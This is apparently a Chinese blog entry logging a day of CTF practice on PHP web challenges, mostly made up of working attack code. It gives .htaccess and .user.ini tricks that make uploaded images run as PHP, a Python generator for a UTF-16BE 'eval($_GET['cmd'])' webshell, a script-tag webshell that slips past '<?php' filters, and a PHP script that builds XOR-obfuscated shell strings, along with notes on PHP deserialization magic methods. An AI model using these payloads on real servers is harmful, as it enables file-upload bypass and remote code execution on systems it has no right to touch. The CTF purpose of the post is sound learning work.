CTF打卡~Day5

发布于 2020-04-23  841 次阅读


今天主要打卡的是SUCTF的Web题

https://www.jianshu.com/p/fbfeeb43ace2

利用.htaccess和.user.ini来实现一句话木马:

http://www.mumaasp.com/222.html

主要用途:在服务器不允许上传(带检测)php文件的地方,将恶意代码写入图片文件里,之后用.user.ini来预加载图片里的代码来实现注入的目的

Apache版本:

\x00\x00\x8a\x39\x8a\x39     #用来绕过文件头检测
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/[md5(ip)]/shell.jpg"
<FilesMatch "crack.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

utf-16be(Python脚本生成)

http://47.94.45.245/2020/03/21/suctf-2019easyweb/

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb') 

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .lethe\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()
        
generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

Fastcgi

\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg

绕过对<?php的检测:

\x00\x00\x8a\x39\x8a\x39
<script language='php'>eval($_REQUEST[c]);</script>
#php5环境下可用

19百越杯 babyphp

https://www.cnblogs.com/nul1/p/8646034.html

https://www.cnblogs.com/20175211lyz/p/11560311.html?tdsourcetag=s_pctim_aiomsg

这题太草了,居然直接上原题

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

一个蛮好用的脚本

PHP 异或 shell 生成

https://gist.github.com/virink/ed22c1ad2dc22c56f266a92635a9591c

<?php

function gen($pl) {
	$aa = "";
	$bb = "";
	for ($j = 0; $j < strlen($pl); $j++) {
		for ($i = 0xa0; $i < 0xff; $i++) {
			if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
				$t = chr($i) ^ $pl[$j];
				if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
					$aa .= chr($i);
					$bb .= $t;
					break;
				}
			}
		}
	}
	return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}

echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");

等风来,不如追风去。